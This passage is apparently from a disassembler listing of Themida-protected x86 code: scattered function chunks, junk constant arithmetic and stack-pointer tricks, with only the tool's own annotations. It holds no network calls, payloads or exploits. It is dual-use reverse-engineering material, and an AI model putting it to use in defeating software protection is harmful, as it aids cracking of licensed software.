loc_56C754:				; CODE XREF: sub_56FD38-5624j
		sub	ebx, 63A36CD2h
		jmp	loc_5631AE
; END OF FUNCTION CHUNK	FOR sub_56FD38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_56C75F:				; CODE XREF: sub_56E126-A9Ej
		push	179Ch
		jmp	loc_570A8C
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A423


loc_56C769:				; CODE XREF: sub_56A423+8624j
		and	ecx, edx
		pop	edx
		jmp	loc_56C2A6
; END OF FUNCTION CHUNK	FOR sub_56A423
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565B6E


loc_56C771:				; CODE XREF: sub_565B6E+9AE8j
		push	[esp+8+var_8]
		pop	edi
		jmp	sub_564EBE
; END OF FUNCTION CHUNK	FOR sub_565B6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570C6A


loc_56C77A:				; CODE XREF: sub_570C6A-B48Bj
		add	edi, 4
		jmp	loc_56B076
; END OF FUNCTION CHUNK	FOR sub_570C6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56C785:				; CODE XREF: sub_563A7F+7A39j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0Ah+var_C+2]
		pop	esp
		jmp	loc_56AC8E
; END OF FUNCTION CHUNK	FOR sub_563A7F

; =============== S U B	R O U T	I N E =======================================



sub_56C79C	proc near		; CODE XREF: sub_5715F0-F072j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	sub_56E0CB
sub_56C79C	endp


; =============== S U B	R O U T	I N E =======================================



sub_56C7AA	proc near		; CODE XREF: sub_56264C+1067Fj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00562D60 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00562F78 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00565F37 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005664F4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056A6BE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056ACFD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00572120 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005731D7 SIZE 0000000B BYTES

		push	ebx
		push	esi
		jmp	loc_5664F4
sub_56C7AA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DBB0


loc_56C7B1:				; CODE XREF: sub_56DBB0-EDAj
		sub	ebx, 1F90346Ch
		pop	edi
		push	ebp
		mov	ebp, 36DC61B5h
		add	ebp, 0A06195Ah
		add	ebx, ebp
		pop	ebp
		push	small word ptr [eax]
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56DBB0
; ---------------------------------------------------------------------------


loc_56C7CF:				; CODE XREF: Themida_:0056B0E2j
		pop	ecx
		push	esi
		jmp	loc_56A76E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_56C7D6:				; CODE XREF: sub_570732-68C6j
		mov	esp, [esp+8+var_8]
		and	eax, edx
		mov	edx, [esp-4+arg_0]
		push	6458h
		mov	[esp+0], ecx
		jmp	loc_574292
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56651E


loc_56C7EB:				; CODE XREF: sub_56651E+C50j
		pop	esp
		jmp	loc_56DAA9
; END OF FUNCTION CHUNK	FOR sub_56651E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571289


loc_56C7F1:				; CODE XREF: sub_571289-10E11j
		add	eax, 34326190h
		sub	eax, esi
		sub	eax, 34326190h
		pop	esi
		add	eax, ebx
		add	eax, 31770CE5h
		pop	ebx
		jmp	loc_5696FE
; END OF FUNCTION CHUNK	FOR sub_571289
; ---------------------------------------------------------------------------


loc_56C80B:				; CODE XREF: Themida_:00567861j
		pop	esp
		sub	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5619CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570C6A


loc_56C817:				; CODE XREF: sub_570C6A-5BC5j
		mov	esi, 8AD62B2h
		shl	esi, 6
		jmp	loc_564307
; END OF FUNCTION CHUNK	FOR sub_570C6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E96D


loc_56C824:				; CODE XREF: sub_56E96D+514Dj
		mov	eax, [esp+4+var_4]
		add	esp, 4
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		bts	[esp-4+arg_0], ax
		pushf
		jmp	loc_56EE8A
; END OF FUNCTION CHUNK	FOR sub_56E96D

; =============== S U B	R O U T	I N E =======================================



sub_56C83E	proc near		; CODE XREF: sub_567D31-26ABj

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560937 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056410B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056435A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00568829 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005690C5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056AF3F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056D76C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056E9F6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056F8D3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005721CD SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0057255B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0057301E SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005735FF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00574D66 SIZE 0000000C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		push	4
		pop	ebx
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp+4+var_4]
		pop	esp
		jmp	loc_5690C5
sub_56C83E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56C862:				; CODE XREF: sub_563A7F+AE52j
		push	1C706EF9h
		pop	edx
		sub	edi, edx
		mov	edx, [esp+6+var_8+2]
		jmp	loc_563824
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56C872:				; CODE XREF: sub_574304+58Dj
		xor	edx, 6D704CB3h
		push	eax
		mov	eax, 0FFFFFFFFh
		jmp	loc_561BAE
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_56C883:				; CODE XREF: sub_5604FE+98B2j
		mov	edi, [esp+8+var_8]
		jmp	loc_560DB9
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56C88B:				; CODE XREF: sub_56FA15-D6DFj
		push	eax
		jmp	loc_56A9EE
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56C891:				; CODE XREF: sub_564D26+B10Cj
		xor	edx, 210E6A74h
		jmp	loc_566C6B
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56C89C:				; CODE XREF: sub_561418+80DCj
		xor	[esp+14h+var_14], ecx
		xor	ecx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		mov	[esp+14h+var_14], edx
		pop	dword ptr [edi+20h]
		jmp	loc_57529E
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------


loc_56C8B0:				; CODE XREF: Themida_:0057469Aj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5743F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_56C8CE:				; CODE XREF: sub_56AB5E-A4D6j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5721BB
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------


loc_56C8E1:				; CODE XREF: Themida_:0056DC1Bj
		xor	[esp], eax
		jmp	loc_56D213
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_56C8E9:				; CODE XREF: sub_567D31+9FADj
		xor	[esp+8+var_8], edi
		xor	edi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		shr	esi, 3
		push	ecx
		mov	ecx, 0B5C2623h
		add	esi, ecx
		jmp	loc_567584
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------


loc_56C902:				; CODE XREF: Themida_:00562DB6j
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		jmp	loc_56E7F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D855


loc_56C910:				; CODE XREF: sub_56D855-C20Ej
		pop	esp
		push	674Ch
		mov	[esp+10h+var_10], ebx
		mov	ebx, 47A2B0Ch
		add	ebx, 1
		jmp	loc_5657CF
; END OF FUNCTION CHUNK	FOR sub_56D855
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563BCC


loc_56C929:				; CODE XREF: sub_563BCC+2B62j
		xchg	edi, [esp+10h+var_10]
		pop	esp
		add	edi, edx
		jmp	loc_56FCCB
; END OF FUNCTION CHUNK	FOR sub_563BCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1DB


loc_56C934:				; CODE XREF: sub_56F1DB-5D85j
		add	edx, 10A614B9h
		or	edx, 57E6075Eh
		sub	edx, 0A7B81B07h
		add	esi, 768C4A0Fh
		sub	esi, edx
		jmp	loc_56028B
; END OF FUNCTION CHUNK	FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F3B2


loc_56C953:				; CODE XREF: sub_56F3B2+297Cj
		add	eax, 4
		jmp	loc_569408
; END OF FUNCTION CHUNK	FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A423


loc_56C95D:				; CODE XREF: sub_56A423+A845j
		sub	ecx, edx
		mov	edx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_571A2C
; END OF FUNCTION CHUNK	FOR sub_56A423
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561979


loc_56C96D:				; CODE XREF: sub_561979+31j
		mov	esi, esp
		push	eax
		jmp	loc_56B1E4
; END OF FUNCTION CHUNK	FOR sub_561979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E05C


loc_56C975:				; CODE XREF: sub_56E05C-396Cj
		mov	[esp+4+var_4], esp
		sub	esp, 4
		mov	[esp+8+var_8], edx
		mov	edx, 4
		add	[esp+8+var_4], edx
		pop	edx
		jmp	loc_562151
; END OF FUNCTION CHUNK	FOR sub_56E05C
; ---------------------------------------------------------------------------


loc_56C990:				; CODE XREF: Themida_:00570D48j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		push	ebx
		push	eax
		mov	eax, 7F362F63h
		jmp	loc_56C5C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_56C9AD:				; CODE XREF: sub_571C93-11AD9j
		add	edi, 1EB84A22h
		mov	ebp, edi
		pop	edi
		add	eax, ebp
		push	dword ptr [esp+0]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5669A4
; END OF FUNCTION CHUNK	FOR sub_571C93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5643EB


loc_56C9CA:				; CODE XREF: sub_5643EB+65FEj
		dec	edx
		dec	edx
		xor	edx, 50531B8Dh
		jmp	loc_57536E
; END OF FUNCTION CHUNK	FOR sub_5643EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56C9D7:				; CODE XREF: sub_574656-65ABj
		not	esi
		sub	esi, 0D7FFB39Bh
		jmp	loc_5707B3
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_56C9E4:				; CODE XREF: sub_570732+2BB6j
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		push	2525h
		mov	[esp+18h+var_18], ebx
		jmp	loc_570075
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_56C9FA:				; CODE XREF: sub_56AB5E-38ACj
		and	bh, 49h
		jmp	loc_563866
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56CA11:				; CODE XREF: sub_561418+1386Fj
		sub	esi, 30C3134Ah
		pop	ebx
		sub	esp, 4
		jmp	loc_5601A8
; ---------------------------------------------------------------------------


loc_56CA20:				; CODE XREF: sub_561418+13064j
		add	esp, 4
		push	eax
		mov	eax, ebp
		mov	[edi+20h], eax
		jmp	loc_57528D
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560056


loc_56CA31:				; CODE XREF: sub_560056+9E95j
		add	eax, edi
		sub	eax, 0C7C37FBh
		pop	edi
		push	edi
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp+0]
		add	esp, 4
		xchg	eax, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		shr	ecx, 6
		sub	esp, 4
		mov	[esp+0], edi
		jmp	loc_573F9D
; END OF FUNCTION CHUNK	FOR sub_560056
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_56CA5B:				; CODE XREF: sub_5685B2+791Cj
		add	esi, ebp
		push	ecx
		mov	ecx, 5F1344A6h
		xor	ecx, 4E6C6B30h
		sub	esi, ecx
		jmp	loc_565AAD
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_56CA70:				; CODE XREF: sub_572141-DDB3j
		add	ebp, edx
		push	ecx
		mov	ecx, 294C7FDFh
		push	42BAh
		mov	[esp+10h+var_10], esi
		jmp	loc_567AB9
; END OF FUNCTION CHUNK	FOR sub_572141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680AC


loc_56CA85:				; CODE XREF: sub_5680AC+BCCEj
		xor	eax, ebx
		mov	ebx, [esp+8+var_8]
		jmp	sub_57199D
; END OF FUNCTION CHUNK	FOR sub_5680AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_56CA8F:				; CODE XREF: sub_56AB5E+404Bj
		push	310F42EAh
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		neg	ecx
		dec	ecx
		not	ecx
		push	edi
		mov	edi, 2FCA4993h
		jmp	loc_563763
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565A8D


loc_56CAAA:				; CODE XREF: sub_565A8D+2C53j
		pop	esi
		sub	esi, 0E701ADBh
		jmp	sub_56616D
; END OF FUNCTION CHUNK	FOR sub_565A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57236D


loc_56CAB6:				; CODE XREF: sub_57236D-ADFBj
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		add	esp, 4
		push	ebx
		mov	ebx, 2BE40561h
		jmp	loc_56D83B
; END OF FUNCTION CHUNK	FOR sub_57236D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5745B5


loc_56CACE:				; CODE XREF: sub_5745B5+362j
		add	bh, 1
		shl	bh, 2
		add	bh, 0FBh
		or	bh, 55h
		sub	bh, 1
		push	ecx
		mov	ch, 0D3h
		shr	ch, 4
		jmp	sub_56A016
; END OF FUNCTION CHUNK	FOR sub_5745B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56CAE8:				; CODE XREF: sub_565632+6F09j
		pop	ecx
		xor	esi, 222D64A6h
		shl	esi, 4
		shl	esi, 7
		push	3349h
		mov	[esp-10h+arg_C], eax
		jmp	loc_56E289
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------


loc_56CB02:				; CODE XREF: Themida_:005609E5j
		push	edx
		mov	edx, esp
		push	523Fh
		mov	[esp], ebx
		mov	ebx, 7FA211A8h
		jmp	loc_565BC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560056


loc_56CB17:				; CODE XREF: sub_560056+1j
		mov	ebp, 34B36A59h
		not	ebp
		xor	ebp, 0C730A25Dh
		jmp	loc_569EE8
; END OF FUNCTION CHUNK	FOR sub_560056
; ---------------------------------------------------------------------------


loc_56CB29:				; CODE XREF: Themida_:00571FEFj
		push	7F82h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_56ECB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_56CB38:				; CODE XREF: sub_56CC46+3914j
		mov	edx, 5B560D51h
		xor	edx, 1FC969DFh
		neg	edx
		not	edx
		jmp	loc_572EA6
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------


loc_56CB4C:				; CODE XREF: Themida_:005673D8j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_573B27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C38F


loc_56CB55:				; CODE XREF: sub_56C38F-A351j
		push	eax
		neg	[esp+0Ch+var_C]
		pop	eax
		or	eax, 3A830EBCh
		sub	eax, 3BCE9FAh
		sub	ebp, eax
		pop	eax
		sub	edx, ebp
		pop	ebp
		add	ecx, edx
		push	dword ptr [esp+0]
		pop	edx
		push	ebp
		jmp	loc_572B1E
; END OF FUNCTION CHUNK	FOR sub_56C38F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_56CB76:				; CODE XREF: sub_56628B-1B1Fj
		add	[esp+10h+var_10], 41333CD3h
		sub	[esp+10h+var_10], eax
		sub	[esp+10h+var_10], 41333CD3h
		jmp	loc_566372
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D7


loc_56CB8C:				; CODE XREF: sub_5747D7-1025Aj
		xor	eax, 55792BD5h
		sub	eax, 95799FD5h
		mov	ebx, eax
		push	[esp+4+var_4]
		pop	eax
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp+0]
		pop	ebx
		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	eax, esp
		push	edi
		mov	edi, 125423FAh
		and	edi, 4015563Ah
		add	edi, 0FFEBFDCAh
		add	eax, edi
		jmp	loc_571A78
; END OF FUNCTION CHUNK	FOR sub_5747D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CBE


loc_56CBC6:				; CODE XREF: sub_574CBE-9DD1j
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		jmp	loc_564842
; END OF FUNCTION CHUNK	FOR sub_574CBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_56CBD5:				; CODE XREF: sub_56657A+45Cj
		add	eax, 0A9C7F9A0h
		jmp	loc_569BB3
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572141


loc_56CBDF:				; CODE XREF: sub_572141+Cj
		mov	ebp, esp
		push	2FE4h
		mov	[esp+8+var_8], edx
		jmp	loc_56CFF0
; END OF FUNCTION CHUNK	FOR sub_572141
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	1B03h
		jmp	loc_569B4D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56CBFB:				; CODE XREF: sub_57354D-CBCCj
		xor	edx, eax
		push	eax
		jmp	loc_571862
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5609A1


loc_56CC03:				; CODE XREF: sub_5609A1+10945j
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	dword ptr [esp+0]
		mov	edx, [esp+4+var_4]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		add	esp, 4
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5609A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5713A7


loc_56CC2D:				; CODE XREF: sub_5713A7-1E84j
		mov	ebx, 0
		add	ebx, edx
		mov	eax, [ebx]
		mov	ebx, [esp+8+var_8]
		push	edi
		jmp	loc_569762
; END OF FUNCTION CHUNK	FOR sub_5713A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A75


loc_56CC3F:				; CODE XREF: sub_569A75+2B0Fj
		sub	al, bl
		jmp	loc_571CE3
; END OF FUNCTION CHUNK	FOR sub_569A75

; =============== S U B	R O U T	I N E =======================================



sub_56CC46	proc near		; DATA XREF: Themida_:0055FEA8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005602AF SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0056045D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00560A84 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0056123F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005616EA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00561767 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056390D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00563BE1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005650C9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00565620 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00565BFA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00566B48 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567072 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0056B5A1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056B758 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056BEBF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056CB38 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056CEFD SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056D11C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D7D0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056E082 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056FB0C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00570530 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005705ED SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571319 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005719EC SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00572EA6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00573F89 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00574336 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005743D3 SIZE 00000018 BYTES

		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		jmp	loc_56390D
sub_56CC46	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_56CC51:				; CODE XREF: sub_570E81-1ECCj
		push	esi
		mov	esi, 0C92BD9Dh
		add	edx, 6C67634Eh
		sub	edx, esi
		sub	edx, 6C67634Eh
		pop	esi
		sub	ebp, 3536057Dh
		sub	ebp, edx
		jmp	loc_571DC8
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_56CC73:				; CODE XREF: sub_5673C3+ED0j
		mov	eax, 2FD82560h
		xor	eax, 7B9A1340h
		jmp	loc_5712EB
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DFE


loc_56CC82:				; CODE XREF: sub_566DFE+3j
		mov	[esp+0], edi
		not	dword ptr [esp+0]
		jmp	loc_57340C
; END OF FUNCTION CHUNK	FOR sub_566DFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


loc_56CC8D:				; CODE XREF: sub_563FA2-1247j
		add	esi, ebx
		add	esi, 0F2D307Eh
		pop	ebx
		push	eax
		mov	eax, 4
		sub	esi, eax
		jmp	loc_56AD0A
; END OF FUNCTION CHUNK	FOR sub_563FA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_56CCA3:				; CODE XREF: sub_570E81-8175j
		sub	ebp, ecx
		sub	ebp, 9290864h
		pop	ecx
		sub	ebp, 378A6984h
		jmp	loc_56D8AC
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5606E3


loc_56CCB7:				; CODE XREF: sub_5606E3+18BCj
		or	[edi+1Ch], eax
		pop	eax
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5606E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DBB0


loc_56CCC0:				; CODE XREF: sub_56DBB0+22AAj
		mov	eax, 79D4B43h
		mov	edi, eax
		pop	eax
		xor	edi, 293C09B1h
		add	ebx, 1F90346Ch
		add	ebx, edi
		jmp	loc_56C7B1
; END OF FUNCTION CHUNK	FOR sub_56DBB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56CCDB:				; CODE XREF: sub_564D26+23C3j
		push	ecx
		mov	ecx, 13A07F37h
		or	ebp, ecx
		pop	ecx
		neg	ebp
		not	ebp
		inc	ebp
		add	ebp, 0E45B808Dh
		jmp	loc_56695F
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EE9F


loc_56CCF4:				; CODE XREF: sub_56EE9F+Fj
		push	3BED6768h
		pop	ebx
		and	ebx, 41E20CEh
		jmp	loc_56DBC3
; END OF FUNCTION CHUNK	FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_56CD05:				; CODE XREF: sub_566117-4C58j
		mov	ecx, [esp+0]
		sub	esp, 4
		jmp	loc_56DD34
; END OF FUNCTION CHUNK	FOR sub_566117

; =============== S U B	R O U T	I N E =======================================



sub_56CD13	proc near		; DATA XREF: Themida_:0055FE64o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0056039D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005611CE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00562DFA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056629C SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0056765E SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056A00F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056B40A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056BF1A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056DA27 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056F734 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0057018D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00570670 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005741DB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057482B SIZE 0000000E BYTES

		push	[esp+arg_0]
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		jmp	loc_56B40A
sub_56CD13	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CF5


loc_56CD22:				; CODE XREF: sub_567CF5-1CBBj
		pop	esp
		push	1248h
		mov	[esp+4+var_4], ecx
		push	ebx
		mov	ebx, 18B7332Fh
		mov	ecx, ebx
		pop	ebx
		jmp	loc_56713A
; END OF FUNCTION CHUNK	FOR sub_567CF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BC97


loc_56CD39:				; CODE XREF: sub_56BC97+5A7Aj
		sub	edx, 3C5F5619h
		add	edx, esi
		add	edx, 3C5F5619h
		pop	esi
		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	[esp+4+var_4]
		jmp	loc_56A3A9
